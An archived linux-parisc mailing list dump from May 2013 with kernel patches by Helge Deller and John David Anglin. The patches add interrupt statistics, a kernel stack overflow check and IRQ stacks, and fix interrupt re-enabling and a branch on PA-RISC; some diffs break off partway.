	id S1755986Ab3EFTUb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 May 2013 15:20:31 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:54113 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755873Ab3EFTUa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 May 2013 15:20:30 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.4]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0Llby5-1U2Inb34ZL-00bIAf for
 <linux-parisc@vger.kernel.org>; Mon, 06 May 2013 21:20:28 +0200
Original-Received: (qmail invoked by alias); 06 May 2013 19:20:28 -0000
Original-Received: from p54AD1B8F.dip0.t-ipconnect.de (EHLO p100.box) [84.173.27.143]
  by mail.gmx.net (mp004) with SMTP; 06 May 2013 21:20:28 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+MbDJ5i/mMZLJV8dW540QPtcrtGh6YJGXE+NGNS1
	k8SfiV7e4vQQ71
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4988
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4988>

Add framework and initial values for more fine grained statistics in
/proc/interrupts.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/hardirq.h b/arch/parisc/include/asm/hardirq.h
index 0d68184..a9c0fb1 100644
--- a/arch/parisc/include/asm/hardirq.h
+++ b/arch/parisc/include/asm/hardirq.h
@@ -1,11 +1,45 @@
 /* hardirq.h: PA-RISC hard IRQ support.
  *
  * Copyright (C) 2001 Matthew Wilcox <matthew@wil.cx>
+ * Copyright (C) 2013 Helge Deller <deller@gmx.de>
  */
 
 #ifndef _PARISC_HARDIRQ_H
 #define _PARISC_HARDIRQ_H
 
-#include <asm-generic/hardirq.h>
+#include <linux/cache.h>
+#include <linux/threads.h>
+#include <linux/irq.h>
+
+typedef struct {
+	unsigned int __softirq_pending;
+#ifdef CONFIG_DEBUG_STACKOVERFLOW
+	unsigned int kernel_stack_usage;
+#endif
+#ifdef CONFIG_SMP
+	unsigned int irq_resched_count;
+	unsigned int irq_call_count;
+	/*
+	 * irq_tlb_count is double-counted in irq_call_count, so it must be
+	 * subtracted from irq_call_count when displaying irq_call_count
+	 */
+	unsigned int irq_tlb_count;
+#endif
+} ____cacheline_aligned irq_cpustat_t;
+
+DECLARE_PER_CPU_SHARED_ALIGNED(irq_cpustat_t, irq_stat);
+
+#define __ARCH_IRQ_STAT
+#define __IRQ_STAT(cpu, member) (irq_stat[cpu].member)
+#define inc_irq_stat(member)	this_cpu_inc(irq_stat.member)
+#define local_softirq_pending()	this_cpu_read(irq_stat.__softirq_pending)
+
+#define __ARCH_SET_SOFTIRQ_PENDING
+
+#define set_softirq_pending(x)	\
+		this_cpu_write(irq_stat.__softirq_pending, (x))
+#define or_softirq_pending(x)	this_cpu_or(irq_stat.__softirq_pending, (x))
+
+#define ack_bad_irq(irq) WARN(1, "unexpected IRQ trap at vector %02x\n", irq)
 
 #endif /* _PARISC_HARDIRQ_H */
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 09b54a5..8469664 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -97,7 +97,6 @@ struct cpuinfo_parisc {
 	unsigned long txn_addr;     /* MMIO addr of EIR or id_eid */
 #ifdef CONFIG_SMP
 	unsigned long pending_ipi;  /* bitmap of type ipi_message_type */
-	unsigned long ipi_count;    /* number ipi Interrupts */
 #endif
 	unsigned long bh_count;     /* number of times bh was invoked */
 	unsigned long prof_counter; /* per CPU profiling support */
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index b81a514f..14015fc 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -152,6 +152,40 @@ static struct irq_chip cpu_interrupt_type = {
 	.irq_retrigger	= NULL,
 };
 
+DEFINE_PER_CPU_SHARED_ALIGNED(irq_cpustat_t, irq_stat);
+#define irq_stats(x)		(&per_cpu(irq_stat, x))
+
+/*
+ * /proc/interrupts printing for arch specific interrupts
+ */
+int arch_show_interrupts(struct seq_file *p, int prec)
+{
+	int j;
+
+#ifdef CONFIG_DEBUG_STACKOVERFLOW
+	seq_printf(p, "%*s: ", prec, "STK");
+	for_each_online_cpu(j)
+		seq_printf(p, "%10u ", irq_stats(j)->kernel_stack_usage);
+	seq_printf(p, "  Kernel stack usage\n");
+#endif
+#ifdef CONFIG_SMP
+	seq_printf(p, "%*s: ", prec, "RES");
+	for_each_online_cpu(j)
+		seq_printf(p, "%10u ", irq_stats(j)->irq_resched_count);
+	seq_printf(p, "  Rescheduling interrupts\n");
+	seq_printf(p, "%*s: ", prec, "CAL");
+	for_each_online_cpu(j)
+		seq_printf(p, "%10u ", irq_stats(j)->irq_call_count -
+					irq_stats(j)->irq_tlb_count);
+	seq_printf(p, "  Function call interrupts\n");
+	seq_printf(p, "%*s: ", prec, "TLB");
+	for_each_online_cpu(j)
+		seq_printf(p, "%10u ", irq_stats(j)->irq_tlb_count);
+	seq_printf(p, "  TLB shootdowns\n");
+#endif
+	return 0;
+}
+
 int show_interrupts(struct seq_file *p, void *v)
 {
 	int i = *(loff_t *) v, j;
@@ -219,6 +253,9 @@ int show_interrupts(struct seq_file *p, void *v)
 		raw_spin_unlock_irqrestore(&desc->lock, flags);
 	}
 
+	if (i == NR_IRQS)
+		arch_show_interrupts(p, 3);
+
 	return 0;
 }
 
@@ -340,13 +377,22 @@ static inline void stack_overflow_check(struct pt_regs *regs)
 	/* Our stack starts directly behind the thread_info struct. */
 	unsigned long stack_start = (unsigned long) current_thread_info();
 	unsigned long sp = regs->gr[30];
+	unsigned long stack_usage;
+	unsigned int *last_usage;
 
 	/* if sr7 != 0, we interrupted a userspace process which we do not want
 	 * to check for stack overflow. We will only check the kernel stack. */
 	if (regs->sr[7])
 		return;
 
-	if (likely((sp - stack_start) < (THREAD_SIZE - STACK_MARGIN)))
+	/* calculate kernel stack usage */
+	stack_usage = sp - stack_start;
+	last_usage = &per_cpu(irq_stat.kernel_stack_usage, smp_processor_id());
+
+	if (unlikely(stack_usage > *last_usage))
+		*last_usage = stack_usage;
+
+	if (likely(stack_usage < (THREAD_SIZE - STACK_MARGIN)))
 		return;
 
 	pr_emerg("stackcheck: %s will most likely overflow kernel stack "
@@ -450,3 +496,4 @@ void __init init_IRQ(void)
 #endif
         set_eiem(cpu_eiem);	/* EIEM : enable all external intr */
 }
+
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 6266730..e907744 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -127,7 +127,7 @@ ipi_interrupt(int irq, void *dev_id)
 	unsigned long flags;
 
 	/* Count this now; we may make a call that never returns. */
-	p->ipi_count++;
+	inc_irq_stat(irq_call_count);
 
 	mb();	/* Order interrupt and bit testing. */
 
@@ -155,6 +155,7 @@ ipi_interrupt(int irq, void *dev_id)
 				
 			case IPI_RESCHEDULE:
 				smp_debug(100, KERN_DEBUG "CPU%d IPI_RESCHEDULE\n", this_cpu);
+				inc_irq_stat(irq_resched_count);
 				scheduler_ipi();
 				break;
 
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 3ac462d..9fbcc22 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -1077,6 +1077,7 @@ void flush_tlb_all(void)
 {
 	int do_recycle;
 
+	inc_irq_stat(irq_tlb_count);
 	do_recycle = 0;
 	spin_lock(&sid_lock);
 	if (dirty_space_ids > RECYCLE_THRESHOLD) {
@@ -1097,6 +1098,7 @@ void flush_tlb_all(void)
 #else
 void flush_tlb_all(void)
 {
+	inc_irq_stat(irq_tlb_count);
 	spin_lock(&sid_lock);
 	flush_tlb_all_local(NULL);
 	recycle_sids();
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: only re-enable interrupts if we need to schedule or deliver signals when returning to userspace
Date: Mon, 6 May 2013 20:07:25 -0400
Lines: 84
Approved: news@gmane.org
Message-ID: <BLU0-SMTP2976B214C9FCD25EE260CD97BA0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-23-883505527"
X-Trace: ger.gmane.org 1367885294 17955 80.91.229.3 (7 May 2013 00:08:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 May 2013 00:08:14 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 07 02:08:14 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UZVRx-000588-Or
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 May 2013 02:08:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760034Ab3EGAIH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 May 2013 20:08:07 -0400
Original-Received: from blu0-omc4-s23.blu0.hotmail.com ([65.55.111.162]:10423 "EHLO
	blu0-omc4-s23.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1759214Ab3EGAIG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 May 2013 20:08:06 -0400
Original-Received: from BLU0-SMTP29 ([65.55.111.136]) by blu0-omc4-s23.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 6 May 2013 17:08:06 -0700
X-EIP: [xX+c699il5l5uCy/d6PKv8ry7paIOlvm]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.130.254]) by BLU0-SMTP29.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 6 May 2013 17:08:04 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 07 May 2013 00:08:04.0520 (UTC) FILETIME=[F2046280:01CE4AB6]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4989
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4989>

--Apple-Mail-23-883505527
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

Helge and I have found that we have a kernel stack overflow problem  
which causes a variety of random failures.
Currently, we re-enable interrupts when returning from an external  
interrupt incase we need to schedule or delivery
signals.  As a result, a potentially unlimited number of interrupts  
can occur while we are running on the kernel
stack.  It is very limited in space (currently, 16k).  This change  
defers enabling interrupts until we have
actually decided to schedule or delivery signals.  This only occurs  
when we about to return to userspace.  This
limits the number of interrupts on the kernel stack to one.  In other  
cases, interrupts remain disabled until the
final return from interrupt (rfi).

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
---



--Apple-Mail-23-883505527
Content-Disposition: attachment; filename="irq_enable.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="irq_enable.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index f33201b..bd7bec3 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -825,11 +826,6 @@ ENTRY(syscall_exit_rfi)
 	STREG   %r19,PT_SR7(%r16)
 
 intr_return:
-	/* NOTE: Need to enable interrupts incase we schedule. */
-	ssm     PSW_SM_I, %r0
-
-intr_check_resched:
-
 	/* check for reschedule */
 	mfctl   %cr30,%r1
 	LDREG   TI_FLAGS(%r1),%r19	/* sched.h: TIF_NEED_RESCHED */
@@ -856,6 +852,11 @@ intr_check_sig:
 	LDREG	PT_IASQ1(%r16), %r20
 	cmpib,COND(=),n 0,%r20,intr_restore /* backward */
 
+	/* NOTE: We need to enable interrupts if we have to deliver
+	 * signals. We used to do this earlier but it caused kernel
+	 * stack overflows. */
+	ssm     PSW_SM_I, %r0
+
 	copy	%r0, %r25			/* long in_syscall = 0 */
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29			/* Reference param save area */
@@ -907,6 +908,10 @@ intr_do_resched:
 	cmpib,COND(=)	0, %r20, intr_do_preempt
 	nop
 
+	/* NOTE: We need to enable interrupts if we schedule.  We used
+	 * to do this earlier but it caused kernel stack overflows. */
+	ssm     PSW_SM_I, %r0
+
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif

--Apple-Mail-23-883505527
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-23-883505527--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Use BL macro instead of b instruction to branch to do_cpu_irq_mask
Date: Mon, 6 May 2013 20:20:59 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <BLU0-SMTP83242D49F4F45C315C142F97BA0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-32-884319793"
X-Trace: ger.gmane.org 1367886106 24924 80.91.229.3 (7 May 2013 00:21:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 May 2013 00:21:46 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 07 02:21:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UZVf0-0000ZT-Hd
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 May 2013 02:21:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757330Ab3EGAVd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 May 2013 20:21:33 -0400
Original-Received: from blu0-omc4-s35.blu0.hotmail.com ([65.55.111.174]:32489 "EHLO
	blu0-omc4-s35.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756042Ab3EGAVc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 May 2013 20:21:32 -0400
Original-Received: from BLU0-SMTP83 ([65.55.111.136]) by blu0-omc4-s35.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 6 May 2013 17:21:32 -0700
X-EIP: [Wb1vXONzHHiYOAPI636mJdY9wdlX5qWX]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.130.254]) by BLU0-SMTP83.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 6 May 2013 17:21:31 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 07 May 2013 00:21:31.0490 (UTC) FILETIME=[D3023C20:01CE4AB8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4990
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4990>

--Apple-Mail-32-884319793
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

The b branch instruction only supports a 17-bit pc-relative offset.   
The BL macro provides for a 22-bit
call offset on PA 2.0 targets.  This reduces the chance that  
do_cpu_irq_mask will not be reachable.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
---


--Apple-Mail-32-884319793
Content-Disposition: attachment; filename="bl_do_cpu_irq_mask.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="bl_do_cpu_irq_mask.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index f33201b..bd7bec3 100644
@@ -972,14 +977,13 @@ intr_extint:
 	copy	%r29, %r26	/* arg0 is pt_regs */
 	copy	%r29, %r16	/* save pt_regs */
 
-	ldil	L%intr_return, %r2

From - Thu Nov 08 21:09:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add kernel stack overflow check
Date: Tue, 7 May 2013 21:28:52 +0200
Lines: 103
Approved: news@gmane.org
Message-ID: <20130507192852.GA20482@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1367954942 17044 80.91.229.3 (7 May 2013 19:29:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 May 2013 19:29:02 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 07 21:29:00 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UZnZL-0007f5-AY
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 May 2013 21:28:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752697Ab3EGT26 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 May 2013 15:28:58 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:53775 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752173Ab3EGT25 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 May 2013 15:28:57 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.20]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MBpxx-1Uk0Ip25wN-00Am6o for
 <linux-parisc@vger.kernel.org>; Tue, 07 May 2013 21:28:56 +0200
Original-Received: (qmail invoked by alias); 07 May 2013 19:28:56 -0000
Original-Received: from p54AD2F3B.dip0.t-ipconnect.de (EHLO p100.box) [84.173.47.59]
  by mail.gmx.net (mp020) with SMTP; 07 May 2013 21:28:56 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19YXrdXNxBYIgAfqutEs/mzm1On0US1OlKMCoXXsJ
	1kW5cnc1XK0552
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4991
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4991>

Add the CONFIG_DEBUG_STACKOVERFLOW config option to enable checks to
detect kernel stack overflows.

Stack overflows can not be detected reliable since we do not want to
introduce too much overhead.

Instead, during irq processing in do_cpu_irq_mask() we check kernel
stack usage of the interrupted kernel process. Kernel threads can be
easily detected by checking the value of space register 7 (sr7) which
is zero when running inside the kernel.

Since THREAD_SIZE is 16k and PAGE_SIZE is 4k, reduce the alignment of
the init thread to the lower value (PAGE_SIZE) in the kernel
vmlinux.ld.S linker script.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
index bc989e5..fa6c322 100644
--- a/arch/parisc/Kconfig.debug
+++ b/arch/parisc/Kconfig.debug
@@ -13,3 +13,15 @@ config DEBUG_RODATA
          If in doubt, say "N".
 
 endmenu
+
+config DEBUG_STACKOVERFLOW
+	bool "Check for stack overflows"
+	default y
+	depends on DEBUG_KERNEL
+	---help---
+	  Say Y here if you want to check the overflows of kernel, IRQ
+	  and exception stacks. This option will cause messages of the
+	  stacks in detail when free stack space drops below a certain
+	  limit.
+	  If in doubt, say "N".
+
diff --git a/arch/parisc/include/asm/thread_info.h b/arch/parisc/include/asm/thread_info.h
index 6182832..540c88f 100644
--- a/arch/parisc/include/asm/thread_info.h
+++ b/arch/parisc/include/asm/thread_info.h
@@ -40,7 +40,7 @@ struct thread_info {
 
 /* thread information allocation */
 
-#define THREAD_SIZE_ORDER            2
+#define THREAD_SIZE_ORDER	2 /* PA-RISC requires at least 16k stack */
 /* Be sure to hunt all references to this down when you change the size of
  * the kernel stack */
 #define THREAD_SIZE             (PAGE_SIZE << THREAD_SIZE_ORDER)
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 8094d3e..61e51ac 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -330,6 +330,34 @@ static inline int eirr_to_irq(unsigned long eirr)
 	return (BITS_PER_LONG - bit) + TIMER_IRQ;
 }
 
+int sysctl_panic_on_stackoverflow = 1;
+
+static inline void stack_overflow_check(struct pt_regs *regs)
+{
+#ifdef CONFIG_DEBUG_STACKOVERFLOW
+	#define STACK_MARGIN	(256*6)
+
+	/* Our stack starts directly behind the thread_info struct. */
+	unsigned long stack_start = (unsigned long) current_thread_info();
+	unsigned long sp = regs->gr[30];
+
+	/* if sr7 != 0, we interrupted a userspace process which we do not want
+	 * to check for stack overflow. We will only check the kernel stack. */
+	if (regs->sr[7])
+		return;
+
+	if (likely((sp - stack_start) < (THREAD_SIZE - STACK_MARGIN)))
+		return;
+
+	pr_emerg("stackcheck: %s will most likely overflow kernel stack "
+		 "(sp:%lx, stk bottom-top:%lx-%lx)\n",
+		current->comm, sp, stack_start, stack_start + THREAD_SIZE);
+
+	if (sysctl_panic_on_stackoverflow)
+		panic("low stack detected by irq handler - check messages\n");
+#endif
+}
+
 /* ONLY called from entry.S:intr_extint() */
 void do_cpu_irq_mask(struct pt_regs *regs)
 {
@@ -364,6 +392,7 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 		goto set_out;
 	}
 #endif
+	stack_overflow_check(regs);
 	generic_handle_irq(irq);
 
  out:
@@ -420,6 +449,4 @@ void __init init_IRQ(void)
 	cpu_eiem = EIEM_MASK(TIMER_IRQ);
 #endif
         set_eiem(cpu_eiem);	/* EIEM : enable all external intr */
-
 }

From - Thu Nov 08 21:09:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: implement irq stacks
Date: Tue, 7 May 2013 22:25:42 +0200
Lines: 174
Approved: news@gmane.org
Message-ID: <20130507202542.GA8144@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1367958352 20203 80.91.229.3 (7 May 2013 20:25:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 May 2013 20:25:52 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 07 22:25:51 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UZoSK-0001Ci-6E
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 May 2013 22:25:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754179Ab3EGUZr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 May 2013 16:25:47 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:59081 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753706Ab3EGUZq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 May 2013 16:25:46 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.34]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MWdT3-1V2bac2w6l-00Xrzu for
 <linux-parisc@vger.kernel.org>; Tue, 07 May 2013 22:25:45 +0200
Original-Received: (qmail invoked by alias); 07 May 2013 20:25:45 -0000
Original-Received: from p54AD2F3B.dip0.t-ipconnect.de (EHLO p100.box) [84.173.47.59]
  by mail.gmx.net (mp034) with SMTP; 07 May 2013 22:25:45 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+1hFRzfPa1LK5h2KjpLkWZLWaUITVJEiANSEMfIY
	rq4n8KFAa8GiaP
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4992
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4992>

Default kernel stack size on parisc is 16k.  During tests we found that the
kernel stack can easily grow beyond 13k, which leaves 3k left for irq
processing.

This patch adds the possibility to activate an additional stack of 16k per CPU
which is being used during irq processing.  This implementation does not yet
uses this irq stack for the irq bh handler.

The assembler code for call_on_stack was heavily cleaned up by John
David Anglin.

CC: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index fe4afb0..cad060f 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -243,6 +243,14 @@ config SMP
 
 	  If you don't know what to do here, say N.
 
+config IRQSTACKS
+	bool "Use separate kernel stacks when processing interrupts"
+	default n
+	help
+	  If you say Y here the kernel will use separate kernel stacks
+	  for handling hard and soft interrupts.  This can help avoid
+	  overflowing the process kernel stacks.
+
 config HOTPLUG_CPU
 	bool
 	default y if SMP
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 09b54a5..242f06a 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -20,8 +20,6 @@
 
 #endif /* __ASSEMBLY__ */
 
-#define KERNEL_STACK_SIZE 	(4*PAGE_SIZE)
-
 /*
  * Default implementation of macro that returns current
  * instruction pointer ("program counter").
@@ -61,6 +59,23 @@
 #ifndef __ASSEMBLY__
 
 /*
+ * IRQ STACK - used for irq handler
+ */
+#ifdef __KERNEL__
+
+#define IRQ_STACK_SIZE      (4096 << 2) /* 16k irq stack size */
+
+union irq_stack_union {
+	unsigned long stack[IRQ_STACK_SIZE/sizeof(unsigned long)];
+};
+
+DECLARE_PER_CPU(union irq_stack_union, irq_stack_union);
+
+void call_on_stack(unsigned long p1, void *func, unsigned long new_stack);
+
+#endif /* __KERNEL__ */
+
+/*
  * Data detected about CPUs at boot time which is the same for all CPU's.
  * HP boxes are SMP - ie identical processors.
  *
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 3f3326d..4bb96ad 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -2010,6 +2010,47 @@ ftrace_stub:
 ENDPROC(return_to_handler)
 #endif	/* CONFIG_FUNCTION_TRACER */
 
+#ifdef CONFIG_IRQSTACKS
+/* void call_on_stack(unsigned long param1, void *func,
+		      unsigned long new_stack) */
+ENTRY(call_on_stack)
